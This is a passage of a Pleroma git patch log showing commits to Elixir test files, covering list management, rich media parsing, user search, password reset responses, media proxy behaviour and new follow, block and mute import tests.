user.password_hash == nil end end -- cgit v1.2.3 From d8728580468ecf876e531440fa31aef6a3e33f7b Mon Sep 17 00:00:00 2001 From: "Haelwenn (lanodan) Monnier" Date: Tue, 1 Sep 2020 12:48:39 +0200 Subject: Fix removing an account from a list Mastodon (Frontend) changed a different method for deletes, keeping old format as mastodon documentation is too loose --- .../controllers/list_controller_test.exs | 20 +++++++++++++++++++- 1 file changed, 19 insertions(+), 1 deletion(-) (limited to 'test') diff --git a/test/web/mastodon_api/controllers/list_controller_test.exs b/test/web/mastodon_api/controllers/list_controller_test.exs index 57a9ef4a4..091ec006c 100644 --- a/test/web/mastodon_api/controllers/list_controller_test.exs +++ b/test/web/mastodon_api/controllers/list_controller_test.exs @@ -67,7 +67,7 @@ defmodule Pleroma.Web.MastodonAPI.ListControllerTest do assert following == [other_user.follower_address] end - test "removing users from a list" do + test "removing users from a list, body params" do %{user: user, conn: conn} = oauth_access(["write:lists"]) other_user = insert(:user) third_user = insert(:user) @@ -85,6 +85,24 @@ defmodule Pleroma.Web.MastodonAPI.ListControllerTest do assert following == [third_user.follower_address] end + test "removing users from a list, query params" do + %{user: user, conn: conn} = oauth_access(["write:lists"]) + other_user = insert(:user) + third_user = insert(:user) + {:ok, list} = Pleroma.List.create("name", user) + {:ok, list} = Pleroma.List.follow(list, other_user) + {:ok, list} = Pleroma.List.follow(list, third_user) + + assert %{} == + conn + |> put_req_header("content-type", "application/json") + |> delete("/api/v1/lists/#{list.id}/accounts?account_ids[]=#{other_user.id}") + |> json_response_and_validate_schema(:ok) + + %Pleroma.List{following: following} = Pleroma.List.get(list.id, user) + assert following == [third_user.follower_address] + end + test "listing users in a list" do %{user: user, conn: conn} = oauth_access(["read:lists"]) other_user = insert(:user) -- cgit v1.2.3 From 03d06062ab8feffbf7b03ecb7ff86c4a42af79ef Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Tue, 1 Sep 2020 19:12:45 +0300 Subject: don't fail on url fetch --- test/web/rich_media/aws_signed_url_test.exs | 2 +- test/web/rich_media/parser_test.exs | 26 +++++++++++++++++++------- 2 files changed, 20 insertions(+), 8 deletions(-) (limited to 'test') diff --git a/test/web/rich_media/aws_signed_url_test.exs b/test/web/rich_media/aws_signed_url_test.exs index b30f4400e..a21f3c935 100644 --- a/test/web/rich_media/aws_signed_url_test.exs +++ b/test/web/rich_media/aws_signed_url_test.exs @@ -21,7 +21,7 @@ defmodule Pleroma.Web.RichMedia.TTL.AwsSignedUrlTest do expire_time = Timex.parse!(timestamp, "{ISO:Basic:Z}") |> Timex.to_unix() |> Kernel.+(valid_till) - assert expire_time == Pleroma.Web.RichMedia.Parser.TTL.AwsSignedUrl.ttl(metadata, url) + assert {:ok, expire_time} == Pleroma.Web.RichMedia.Parser.TTL.AwsSignedUrl.ttl(metadata, url) end test "s3 signed url is parsed and correct ttl is set for rich media" do diff --git a/test/web/rich_media/parser_test.exs b/test/web/rich_media/parser_test.exs index 420a612c6..1e09cbf84 100644 --- a/test/web/rich_media/parser_test.exs +++ b/test/web/rich_media/parser_test.exs @@ -5,6 +5,8 @@ defmodule Pleroma.Web.RichMedia.ParserTest do use ExUnit.Case, async: true + alias Pleroma.Web.RichMedia.Parser + setup do Tesla.Mock.mock(fn %{ @@ -48,23 +50,29 @@ defmodule Pleroma.Web.RichMedia.ParserTest do %{method: :get, url: "http://example.com/empty"} -> %Tesla.Env{status: 200, body: "hello"} + + %{method: :get, url: "http://example.com/malformed"} -> + %Tesla.Env{status: 200, body: File.read!("test/fixtures/rich_media/malformed-data.html")} + + %{method: :get, url: "http://example.com/error"} -> + {:error, :overload} end) :ok end test "returns error when no metadata present" do - assert {:error, _} = Pleroma.Web.RichMedia.Parser.parse("http://example.com/empty") + assert {:error, _} = Parser.parse("http://example.com/empty") end test "doesn't just add a title" do - assert Pleroma.Web.RichMedia.Parser.parse("http://example.com/non-ogp") == + assert Parser.parse("http://example.com/non-ogp") == {:error, "Found metadata was invalid or incomplete: %{\"url\" => \"http://example.com/non-ogp\"}"} end test "parses ogp" do - assert Pleroma.Web.RichMedia.Parser.parse("http://example.com/ogp") == + assert Parser.parse("http://example.com/ogp") == {:ok, %{ "image" => "http://ia.media-imdb.com/images/rock.jpg", @@ -77,7 +85,7 @@ defmodule Pleroma.Web.RichMedia.ParserTest do end test "falls back to when ogp:title is missing" do - assert Pleroma.Web.RichMedia.Parser.parse("http://example.com/ogp-missing-title") == + assert Parser.parse("http://example.com/ogp-missing-title") == {:ok, %{ "image" => "http://ia.media-imdb.com/images/rock.jpg", @@ -90,7 +98,7 @@ defmodule Pleroma.Web.RichMedia.ParserTest do end test "parses twitter card" do - assert Pleroma.Web.RichMedia.Parser.parse("http://example.com/twitter-card") == + assert Parser.parse("http://example.com/twitter-card") == {:ok, %{ "card" => "summary", @@ -103,7 +111,7 @@ defmodule Pleroma.Web.RichMedia.ParserTest do end test "parses OEmbed" do - assert Pleroma.Web.RichMedia.Parser.parse("http://example.com/oembed") == + assert Parser.parse("http://example.com/oembed") == {:ok, %{ "author_name" => "‮‭‬bees‬", @@ -132,6 +140,10 @@ defmodule Pleroma.Web.RichMedia.ParserTest do end test "rejects invalid OGP data" do - assert {:error, _} = Pleroma.Web.RichMedia.Parser.parse("http://example.com/malformed") + assert {:error, _} = Parser.parse("http://example.com/malformed") + end + + test "returns error if getting page was not successful" do + assert {:error, :overload} = Parser.parse("http://example.com/error") end end -- cgit v1.2.3 From 868057871ac041346d8367181f00f0b127b33945 Mon Sep 17 00:00:00 2001 From: Karol Kosek <krkk@krkk.ct8.pl> Date: Tue, 1 Sep 2020 19:56:32 +0200 Subject: search: fix 'following' query parameter The parameter included the accounts that are following you (followers) instead of those you are actually following. Co-Authored-By: Haelwenn (lanodan) Monnier <contact@hacktivis.me> --- test/user_search_test.exs | 28 ++++++++++++++-------------- 1 file changed, 14 insertions(+), 14 deletions(-) (limited to 'test') diff --git a/test/user_search_test.exs b/test/user_search_test.exs index 559ba5966..01976bf58 100644 --- a/test/user_search_test.exs +++ b/test/user_search_test.exs @@ -109,22 +109,22 @@ defmodule Pleroma.UserSearchTest do Enum.map(User.search("doe", resolve: false, for_user: u1), & &1.id) == [] end - test "finds followers of user by partial name" do - u1 = insert(:user) - u2 = insert(:user, %{name: "Jimi"}) - follower_jimi = insert(:user, %{name: "Jimi Hendrix"}) - follower_lizz = insert(:user, %{name: "Lizz Wright"}) - friend = insert(:user, %{name: "Jimi"}) - - {:ok, follower_jimi} = User.follow(follower_jimi, u1) - {:ok, _follower_lizz} = User.follow(follower_lizz, u2) - {:ok, u1} = User.follow(u1, friend) - - assert Enum.map(User.search("jimi", following: true, for_user: u1), & &1.id) == [ - follower_jimi.id + test "finds followings of user by partial name" do + lizz = insert(:user, %{name: "Lizz"}) + jimi = insert(:user, %{name: "Jimi"}) + following_lizz = insert(:user, %{name: "Jimi Hendrix"}) + following_jimi = insert(:user, %{name: "Lizz Wright"}) + follower_lizz = insert(:user, %{name: "Jimi"}) + + {:ok, lizz} = User.follow(lizz, following_lizz) + {:ok, _jimi} = User.follow(jimi, following_jimi) + {:ok, _follower_lizz} = User.follow(follower_lizz, lizz) + + assert Enum.map(User.search("jimi", following: true, for_user: lizz), & &1.id) == [ + following_lizz.id ] - assert User.search("lizz", following: true, for_user: u1) == [] + assert User.search("lizz", following: true, for_user: lizz) == [] end test "find local and remote users for authenticated users" do -- cgit v1.2.3 From 79f65b4374908a32ebf39db176a30a01152a9141 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 2 Sep 2020 09:16:51 +0300 Subject: correct pool and uniform headers format --- test/support/http_request_mock.ex | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) (limited to 'test') diff --git a/test/support/http_request_mock.ex b/test/support/http_request_mock.ex index eeeba7880..a0ebf65d9 100644 --- a/test/support/http_request_mock.ex +++ b/test/support/http_request_mock.ex @@ -1350,11 +1350,11 @@ defmodule HttpRequestMock do {:ok, %Tesla.Env{status: 200, body: File.read!("test/fixtures/relay/relay.json")}} end - def get("http://localhost:4001/", _, "", Accept: "text/html") do + def get("http://localhost:4001/", _, "", [{"accept", "text/html"}]) do {:ok, %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/7369654.html")}} end - def get("https://osada.macgirvin.com/", _, "", Accept: "text/html") do + def get("https://osada.macgirvin.com/", _, "", [{"accept", "text/html"}]) do {:ok, %Tesla.Env{ status: 200, -- cgit v1.2.3 From 19691389b92e617f1edad7d4e3168fe917d0a675 Mon Sep 17 00:00:00 2001 From: rinpatch <rinpatch@sdf.org> Date: Wed, 2 Sep 2020 14:21:28 +0300 Subject: Rich media: Add failure tracking --- test/web/rich_media/aws_signed_url_test.exs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'test') diff --git a/test/web/rich_media/aws_signed_url_test.exs b/test/web/rich_media/aws_signed_url_test.exs index a21f3c935..1ceae1a31 100644 --- a/test/web/rich_media/aws_signed_url_test.exs +++ b/test/web/rich_media/aws_signed_url_test.exs @@ -55,7 +55,7 @@ defmodule Pleroma.Web.RichMedia.TTL.AwsSignedUrlTest do Cachex.put(:rich_media_cache, url, metadata) - Pleroma.Web.RichMedia.Parser.set_ttl_based_on_image({:ok, metadata}, url) + Pleroma.Web.RichMedia.Parser.set_ttl_based_on_image(metadata, url) {:ok, cache_ttl} = Cachex.ttl(:rich_media_cache, url) -- cgit v1.2.3 From cbf7f0e02943f44a73f4418b8c6a8bada06331d8 Mon Sep 17 00:00:00 2001 From: Mark Felder <feld@FreeBSD.org> Date: Wed, 2 Sep 2020 09:09:13 -0500 Subject: Disallow password resets for deactivated accounts. Ensure all responses to password reset events are identical. --- .../controllers/auth_controller_test.exs | 22 ++++++++++++++++------ 1 file changed, 16 insertions(+), 6 deletions(-) (limited to 'test') diff --git a/test/web/mastodon_api/controllers/auth_controller_test.exs b/test/web/mastodon_api/controllers/auth_controller_test.exs index a485f8e41..4fa95fce1 100644 --- a/test/web/mastodon_api/controllers/auth_controller_test.exs +++ b/test/web/mastodon_api/controllers/auth_controller_test.exs @@ -122,17 +122,27 @@ defmodule Pleroma.Web.MastodonAPI.AuthControllerTest do {:ok, user: user} end - test "it returns 404 when user is not found", %{conn: conn, user: user} do + test "it returns 204 when user is not found", %{conn: conn, user: user} do conn = post(conn, "/auth/password?email=nonexisting_#{user.email}") - assert conn.status == 404 - assert conn.resp_body == "" + + assert conn + |> json_response(:no_content) end - test "it returns 400 when user is not local", %{conn: conn, user: user} do + test "it returns 204 when user is not local", %{conn: conn, user: user} do {:ok, user} = Repo.update(Ecto.Changeset.change(user, local: false)) conn = post(conn, "/auth/password?email=#{user.email}") - assert conn.status == 400 - assert conn.resp_body == "" + + assert conn + |> json_response(:no_content) + end + + test "it returns 204 when user is deactivated", %{conn: conn, user: user} do + {:ok, user} = Repo.update(Ecto.Changeset.change(user, deactivated: true, local: true)) + conn = post(conn, "/auth/password?email=#{user.email}") + + assert conn + |> json_response(:no_content) end end -- cgit v1.2.3 From 5da367760748f7c4534b84dcb9286d715110472e Mon Sep 17 00:00:00 2001 From: lain <lain@soykaf.club> Date: Thu, 3 Sep 2020 11:40:17 +0200 Subject: Frontend mix task: Add tests. --- test/tasks/frontend_test.exs | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) (limited to 'test') diff --git a/test/tasks/frontend_test.exs b/test/tasks/frontend_test.exs index 0ca2b9a28..022ae51be 100644 --- a/test/tasks/frontend_test.exs +++ b/test/tasks/frontend_test.exs @@ -48,11 +48,18 @@ defmodule Pleroma.FrontendTest do } }) + folder = Path.join([@dir, "frontends", "pleroma", "fantasy"]) + previously_existing = Path.join([folder, "temp"]) + File.mkdir_p!(folder) + File.write!(previously_existing, "yey") + assert File.exists?(previously_existing) + capture_io(fn -> Frontend.run(["install", "pleroma", "--file", "test/fixtures/tesla_mock/frontend.zip"]) end) - assert File.exists?(Path.join([@dir, "frontends", "pleroma", "fantasy", "test.txt"])) + assert File.exists?(Path.join([folder, "test.txt"])) + refute File.exists?(previously_existing) end test "it downloads and unzips unknown frontends" do -- cgit v1.2.3 From c3b02341bf4ab610e9425d6811dca057e9f811a4 Mon Sep 17 00:00:00 2001 From: Ivan Tashkinov <ivantashkinov@gmail.com> Date: Sat, 5 Sep 2020 16:16:35 +0300 Subject: [#2497] Made media preview proxy fall back to media proxy instead of to source url. Adjusted tests. Refactoring. --- test/web/mastodon_api/views/account_view_test.exs | 37 +++++++++++++---------- 1 file changed, 21 insertions(+), 16 deletions(-) (limited to 'test') diff --git a/test/web/mastodon_api/views/account_view_test.exs b/test/web/mastodon_api/views/account_view_test.exs index 8f37efa3c..2f56d9c8f 100644 --- a/test/web/mastodon_api/views/account_view_test.exs +++ b/test/web/mastodon_api/views/account_view_test.exs @@ -541,8 +541,9 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do end end - test "uses mediaproxy urls when it's enabled" do + test "uses mediaproxy urls when it's enabled (regardless of media preview proxy state)" do clear_config([:media_proxy, :enabled], true) + clear_config([:media_preview_proxy, :enabled]) user = insert(:user, @@ -551,20 +552,24 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do emoji: %{"joker_smile" => "https://evil.website/society.png"} ) - AccountView.render("show.json", %{user: user, skip_visibility_check: true}) - |> Enum.all?(fn - {key, url} when key in [:avatar, :avatar_static, :header, :header_static] -> - String.starts_with?(url, Pleroma.Web.base_url()) - - {:emojis, emojis} -> - Enum.all?(emojis, fn %{url: url, static_url: static_url} -> - String.starts_with?(url, Pleroma.Web.base_url()) && - String.starts_with?(static_url, Pleroma.Web.base_url()) - end) - - _ -> - true - end) - |> assert() + with media_preview_enabled <- [false, true] do + Config.put([:media_preview_proxy, :enabled], media_preview_enabled) + + AccountView.render("show.json", %{user: user, skip_visibility_check: true}) + |> Enum.all?(fn + {key, url} when key in [:avatar, :avatar_static, :header, :header_static] -> + String.starts_with?(url, Pleroma.Web.base_url()) + + {:emojis, emojis} -> + Enum.all?(emojis, fn %{url: url, static_url: static_url} -> + String.starts_with?(url, Pleroma.Web.base_url()) && + String.starts_with?(static_url, Pleroma.Web.base_url()) + end) + + _ -> + true + end) + |> assert() + end end end -- cgit v1.2.3 From e198ba492e5cb1b6ff81775db08298bfcdf1454a Mon Sep 17 00:00:00 2001 From: rinpatch <rinpatch@sdf.org> Date: Sat, 5 Sep 2020 12:37:27 +0300 Subject: Rich Media: Do not cache URLs for preview statuses Closes #1987 --- test/html_test.exs | 14 ++++---- .../controllers/status_controller_test.exs | 38 +++++++++++++++++++++- 2 files changed, 44 insertions(+), 8 deletions(-) (limited to 'test') diff --git a/test/html_test.exs b/test/html_test.exs index f8907c8b4..7d3756884 100644 --- a/test/html_test.exs +++ b/test/html_test.exs @@ -165,7 +165,7 @@ defmodule Pleroma.HTMLTest do end end - describe "extract_first_external_url" do + describe "extract_first_external_url_from_object" do test "extracts the url" do user = insert(:user) @@ -176,7 +176,7 @@ defmodule Pleroma.HTMLTest do }) object = Object.normalize(activity) - {:ok, url} = HTML.extract_first_external_url(object, object.data["content"]) + {:ok, url} = HTML.extract_first_external_url_from_object(object) assert url == "https://github.com/komeiji-satori/Dress" end @@ -191,7 +191,7 @@ defmodule Pleroma.HTMLTest do }) object = Object.normalize(activity) - {:ok, url} = HTML.extract_first_external_url(object, object.data["content"]) + {:ok, url} = HTML.extract_first_external_url_from_object(object) assert url == "https://github.com/syuilo/misskey/blob/develop/docs/setup.en.md" @@ -207,7 +207,7 @@ defmodule Pleroma.HTMLTest do }) object = Object.normalize(activity) - {:ok, url} = HTML.extract_first_external_url(object, object.data["content"]) + {:ok, url} = HTML.extract_first_external_url_from_object(object) assert url == "https://www.pixiv.net/member_illust.php?mode=medium&illust_id=72255140" end @@ -223,7 +223,7 @@ defmodule Pleroma.HTMLTest do }) object = Object.normalize(activity) - {:ok, url} = HTML.extract_first_external_url(object, object.data["content"]) + {:ok, url} = HTML.extract_first_external_url_from_object(object) assert url == "https://www.pixiv.net/member_illust.php?mode=medium&illust_id=72255140" end @@ -235,7 +235,7 @@ defmodule Pleroma.HTMLTest do object = Object.normalize(activity) - assert {:ok, nil} = HTML.extract_first_external_url(object, object.data["content"]) + assert {:ok, nil} = HTML.extract_first_external_url_from_object(object) end test "skips attachment links" do @@ -249,7 +249,7 @@ defmodule Pleroma.HTMLTest do object = Object.normalize(activity) - assert {:ok, nil} = HTML.extract_first_external_url(object, object.data["content"]) + assert {:ok, nil} = HTML.extract_first_external_url_from_object(object) end end end diff --git a/test/web/mastodon_api/controllers/status_controller_test.exs b/test/web/mastodon_api/controllers/status_controller_test.exs index 5955d8334..f221884e7 100644 --- a/test/web/mastodon_api/controllers/status_controller_test.exs +++ b/test/web/mastodon_api/controllers/status_controller_test.exs @@ -296,9 +296,45 @@ defmodule Pleroma.Web.MastodonAPI.StatusControllerTest do assert real_status == fake_status end + test "fake statuses' preview card is not cached", %{conn: conn} do + clear_config([:rich_media, :enabled], true) + + Tesla.Mock.mock(fn + %{ + method: :get, + url: "https://example.com/twitter-card" + } -> + %Tesla.Env{status: 200, body: File.read!("test/fixtures/rich_media/twitter_card.html")} + + env -> + apply(HttpRequestMock, :request, [env]) + end) + + conn1 = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses", %{ + "status" => "https://example.com/ogp", + "preview" => true + }) + + conn2 = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses", %{ + "status" => "https://example.com/twitter-card", + "preview" => true + }) + + assert %{"card" => %{"title" => "The Rock"}} = json_response_and_validate_schema(conn1, 200) + + assert %{"card" => %{"title" => "Small Island Developing States Photo Submission"}} = + json_response_and_validate_schema(conn2, 200) + end + test "posting a status with OGP link preview", %{conn: conn} do Tesla.Mock.mock(fn env -> apply(HttpRequestMock, :request, [env]) end) - Config.put([:rich_media, :enabled], true) + clear_config([:rich_media, :enabled], true) conn = conn -- cgit v1.2.3 From 170599c390e7c82bdff0d4180d04b2f0f3906f35 Mon Sep 17 00:00:00 2001 From: rinpatch <rinpatch@sdf.org> Date: Sat, 5 Sep 2020 22:00:51 +0300 Subject: RichMedia: do not log webpages missing metadata as errors Also fixes the return value of Parser.parse on errors, previously was just `:ok` due to the logger call in the end --- test/web/rich_media/parser_test.exs | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) (limited to 'test') diff --git a/test/web/rich_media/parser_test.exs b/test/web/rich_media/parser_test.exs index 1e09cbf84..21ae35f8b 100644 --- a/test/web/rich_media/parser_test.exs +++ b/test/web/rich_media/parser_test.exs @@ -66,9 +66,7 @@ defmodule Pleroma.Web.RichMedia.ParserTest do end test "doesn't just add a title" do - assert Parser.parse("http://example.com/non-ogp") == - {:error, - "Found metadata was invalid or incomplete: %{\"url\" => \"http://example.com/non-ogp\"}"} + assert {:error, {:invalid_metadata, _}} = Parser.parse("http://example.com/non-ogp") end test "parses ogp" do -- cgit v1.2.3 From 759f8bc3ae49580319a4ecb12770e8581826c6d9 Mon Sep 17 00:00:00 2001 From: Ivan Tashkinov <ivantashkinov@gmail.com> Date: Sun, 6 Sep 2020 15:30:11 +0300 Subject: [#2497] Fixed MediaProxyWarmingPolicyTest. --- test/web/activity_pub/mrf/mediaproxy_warming_policy_test.exs | 2 ++ 1 file changed, 2 insertions(+) (limited to 'test') diff --git a/test/web/activity_pub/mrf/mediaproxy_warming_policy_test.exs b/test/web/activity_pub/mrf/mediaproxy_warming_policy_test.exs index 313d59a66..1710c4d2a 100644 --- a/test/web/activity_pub/mrf/mediaproxy_warming_policy_test.exs +++ b/test/web/activity_pub/mrf/mediaproxy_warming_policy_test.exs @@ -22,6 +22,8 @@ defmodule Pleroma.Web.ActivityPub.MRF.MediaProxyWarmingPolicyTest do } } + setup do: clear_config([:media_proxy, :enabled], true) + test "it prefetches media proxy URIs" do with_mock HTTP, get: fn _, _, _ -> {:ok, []} end do MediaProxyWarmingPolicy.filter(@message) -- cgit v1.2.3 From 5ae56aafb2edc737f7e9fb36e00377815f028ce6 Mon Sep 17 00:00:00 2001 From: Maksim Pechnikov <parallel588@gmail.com> Date: Sun, 6 Sep 2020 21:42:51 +0300 Subject: added import mutes --- test/user/import_test.exs | 78 ++++++++ test/user_test.exs | 34 ---- .../controllers/user_import_controller_test.exs | 205 +++++++++++++++++++++ test/web/twitter_api/util_controller_test.exs | 164 ----------------- 4 files changed, 283 insertions(+), 198 deletions(-) create mode 100644 test/user/import_test.exs create mode 100644 test/web/pleroma_api/controllers/user_import_controller_test.exs (limited to 'test') diff --git a/test/user/import_test.exs b/test/user/import_test.exs new file mode 100644 index 000000000..476b22678 --- /dev/null +++ b/test/user/import_test.exs @@ -0,0 +1,78 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.User.ImportTest do + + alias Pleroma.Repo + alias Pleroma.Tests.ObanHelpers + alias Pleroma.User + + use Pleroma.DataCase + use Oban.Testing, repo: Pleroma.Repo + + import Pleroma.Factory + + setup_all do + Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + describe "follow_import" do + test "it imports user followings from list" do + [user1, user2, user3] = insert_list(3, :user) + + identifiers = [ + user2.ap_id, + user3.nickname + ] + + {:ok, job} = User.Import.follow_import(user1, identifiers) + + assert {:ok, result} = ObanHelpers.perform(job) + assert is_list(result) + assert result == [user2, user3] + assert User.following?(user1, user2) + assert User.following?(user1, user3) + end + end + + + describe "blocks_import" do + test "it imports user blocks from list" do + [user1, user2, user3] = insert_list(3, :user) + + identifiers = [ + user2.ap_id, + user3.nickname + ] + + {:ok, job} = User.Import.blocks_import(user1, identifiers) + + assert {:ok, result} = ObanHelpers.perform(job) + assert is_list(result) + assert result == [user2, user3] + assert User.blocks?(user1, user2) + assert User.blocks?(user1, user3) + end + end + + describe "mutes_import" do + test "it imports user mutes from list" do + [user1, user2, user3] = insert_list(3, :user) + + identifiers = [ + user2.ap_id, + user3.nickname + ] + + {:ok, job} = User.Import.mutes_import(user1, identifiers) + + assert {:ok, result} = ObanHelpers.perform(job) + assert is_list(result) + assert result == [user2, user3] + assert User.mutes?(user1, user2) + assert User.mutes?(user1, user3) + end + end +end diff --git a/test/user_test.exs b/test/user_test.exs index 50f72549e..13ac633b8 100644 --- a/test/user_test.exs +++ b/test/user_test.exs @@ -932,23 +932,6 @@ defmodule Pleroma.UserTest do end end - describe "follow_import" do - test "it imports user followings from list" do - [user1, user2, user3] = insert_list(3, :user) - - identifiers = [ - user2.ap_id, - user3.nickname - ] - - {:ok, job} = User.follow_import(user1, identifiers) - - assert {:ok, result} = ObanHelpers.perform(job) - assert is_list(result) - assert result == [user2, user3] - end - end - describe "mutes" do test "it mutes people" do user = insert(:user) @@ -1155,23 +1138,6 @@ defmodule Pleroma.UserTest do end end - describe "blocks_import" do - test "it imports user blocks from list" do - [user1, user2, user3] = insert_list(3, :user) - - identifiers = [ - user2.ap_id, - user3.nickname - ] - - {:ok, job} = User.blocks_import(user1, identifiers) - - assert {:ok, result} = ObanHelpers.perform(job) - assert is_list(result) - assert result == [user2, user3] - end - end - describe "get_recipients_from_activity" do test "works for announces" do actor = insert(:user) diff --git a/test/web/pleroma_api/controllers/user_import_controller_test.exs b/test/web/pleroma_api/controllers/user_import_controller_test.exs new file mode 100644 index 000000000..d1a8a46fc --- /dev/null +++ b/test/web/pleroma_api/controllers/user_import_controller_test.exs @@ -0,0 +1,205 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.PleromaAPI.UserImportControllerTest do + use Pleroma.Web.ConnCase + use Oban.Testing, repo: Pleroma.Repo + + alias Pleroma.Config + alias Pleroma.Tests.ObanHelpers + + import Pleroma.Factory + import Mock + + setup do + Tesla.Mock.mock(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + describe "POST /api/pleroma/follow_import" do + setup do: oauth_access(["follow"]) + + test "it returns HTTP 200", %{conn: conn} do + user2 = insert(:user) + + assert "job started" == conn + |> post("/api/pleroma/follow_import", %{"list" => "#{user2.ap_id}"}) + |> json_response(:ok) + end + + test "it imports follow lists from file", %{conn: conn} do + user2 = insert(:user) + + with_mocks([ + {File, [], + read!: fn "follow_list.txt" -> + "Account address,Show boosts\n#{user2.ap_id},true" + end} + ]) do + assert "job started" == conn + |> post("/api/pleroma/follow_import", %{"list" => %Plug.Upload{path: "follow_list.txt"}}) + |> json_response(:ok) + + assert [{:ok, job_result}] = ObanHelpers.perform_all() + assert job_result == [user2] + end + end + + test "it imports new-style mastodon follow lists", %{conn: conn} do + user2 = insert(:user) + + response = conn + |> post("/api/pleroma/follow_import", %{ + "list" => "Account address,Show boosts\n#{user2.ap_id},true"} + ) + |> json_response(:ok) + + assert response == "job started" + end + + test "requires 'follow' or 'write:follows' permissions" do + token1 = insert(:oauth_token, scopes: ["read", "write"]) + token2 = insert(:oauth_token, scopes: ["follow"]) + token3 = insert(:oauth_token, scopes: ["something"]) + another_user = insert(:user) + + for token <- [token1, token2, token3] do + conn = + build_conn() + |> put_req_header("authorization", "Bearer #{token.token}") + |> post("/api/pleroma/follow_import", %{"list" => "#{another_user.ap_id}"}) + + if token == token3 do + assert %{"error" => "Insufficient permissions: follow | write:follows."} == + json_response(conn, 403) + else + assert json_response(conn, 200) + end + end + end + + test "it imports follows with different nickname variations", %{conn: conn} do + users = [user2, user3, user4, user5, user6] = insert_list(5, :user) + + identifiers = + [ + user2.ap_id, + user3.nickname, + " ", + "@" <> user4.nickname, + user5.nickname <> "@localhost", + "@" <> user6.nickname <> "@localhost" + ] + |> Enum.join("\n") + + assert "job started" == conn + |> post("/api/pleroma/follow_import", %{"list" => identifiers}) + |> json_response(:ok) + + assert [{:ok, job_result}] = ObanHelpers.perform_all() + assert job_result == users + end + end + + describe "POST /api/pleroma/blocks_import" do + # Note: "follow" or "write:blocks" permission is required + setup do: oauth_access(["write:blocks"]) + + test "it returns HTTP 200", %{conn: conn} do + user2 = insert(:user) + + assert "job started" == conn + |> post("/api/pleroma/blocks_import", %{"list" => "#{user2.ap_id}"}) + |> json_response(:ok) + end + + test "it imports blocks users from file", %{conn: conn} do + users = [user2, user3] = insert_list(2, :user) + + with_mocks([ + {File, [], read!: fn "blocks_list.txt" -> "#{user2.ap_id} #{user3.ap_id}" end} + ]) do + + assert "job started" == conn + |> post("/api/pleroma/blocks_import", %{"list" => %Plug.Upload{path: "blocks_list.txt"}}) + |> json_response(:ok) + + assert [{:ok, job_result}] = ObanHelpers.perform_all() + assert job_result == users + end + end + + test "it imports blocks with different nickname variations", %{conn: conn} do + users = [user2, user3, user4, user5, user6] = insert_list(5, :user) + + identifiers = + [ + user2.ap_id, + user3.nickname, + "@" <> user4.nickname, + user5.nickname <> "@localhost", + "@" <> user6.nickname <> "@localhost" + ] + |> Enum.join(" ") + + assert "job started" == conn + |> post("/api/pleroma/blocks_import", %{"list" => identifiers}) + |> json_response(:ok) + + assert [{:ok, job_result}] = ObanHelpers.perform_all() + assert job_result == users + end + end + + describe "POST /api/pleroma/mutes_import" do + # Note: "follow" or "write:mutes" permission is required + setup do: oauth_access(["write:mutes"]) + + test "it returns HTTP 200", %{user: user, conn: conn} do + user2 = insert(:user) + + assert "job started" == conn + |> post("/api/pleroma/mutes_import", %{"list" => "#{user2.ap_id}"}) + |> json_response(:ok) + + assert [{:ok, job_result}] = ObanHelpers.perform_all() + assert job_result == [user2] + assert Pleroma.User.mutes?(user, user2) + end + + + test "it imports mutes users from file", %{user: user, conn: conn} do + users = [user2, user3] = insert_list(2, :user) + + with_mocks([ + {File, [], read!: fn "mutes_list.txt" -> "#{user2.ap_id} #{user3.ap_id}" end} + ]) do + assert "job started" == conn + |> post("/api/pleroma/mutes_import", %{"list" => %Plug.Upload{path: "mutes_list.txt"}}) + |> json_response(:ok) + + assert [{:ok, job_result}] = ObanHelpers.perform_all() + assert job_result == users + assert Enum.all?(users, &Pleroma.User.mutes?(user, &1)) + end + end + + test "it imports mutes with different nickname variations", %{user: user, conn: conn} do + users = [user2, user3, user4, user5, user6] = insert_list(5, :user) + + identifiers = [ + user2.ap_id, user3.nickname, "@" <> user4.nickname, + user5.nickname <> "@localhost", "@" <> user6.nickname <> "@localhost" + ] + |> Enum.join(" ") + + assert "job started" == conn + |> post("/api/pleroma/mutes_import", %{"list" => identifiers}) + |> json_response(:ok) + assert [{:ok, job_result}] = ObanHelpers.perform_all() + assert job_result == users + assert Enum.all?(users, &Pleroma.User.mutes?(user, &1)) + end + end +end diff --git a/test/web/twitter_api/util_controller_test.exs b/test/web/twitter_api/util_controller_test.exs index d164127ee..60f2fb052 100644 --- a/test/web/twitter_api/util_controller_test.exs +++ b/test/web/twitter_api/util_controller_test.exs @@ -21,170 +21,6 @@ defmodule Pleroma.Web.TwitterAPI.UtilControllerTest do setup do: clear_config([:instance]) setup do: clear_config([:frontend_configurations, :pleroma_fe]) - describe "POST /api/pleroma/follow_import" do - setup do: oauth_access(["follow"]) - - test "it returns HTTP 200", %{conn: conn} do - user2 = insert(:user) - - response = - conn - |> post("/api/pleroma/follow_import", %{"list" => "#{user2.ap_id}"}) - |> json_response(:ok) - - assert response == "job started" - end - - test "it imports follow lists from file", %{user: user1, conn: conn} do - user2 = insert(:user) - - with_mocks([ - {File, [], - read!: fn "follow_list.txt" -> - "Account address,Show boosts\n#{user2.ap_id},true" - end} - ]) do - response = - conn - |> post("/api/pleroma/follow_import", %{"list" => %Plug.Upload{path: "follow_list.txt"}}) - |> json_response(:ok) - 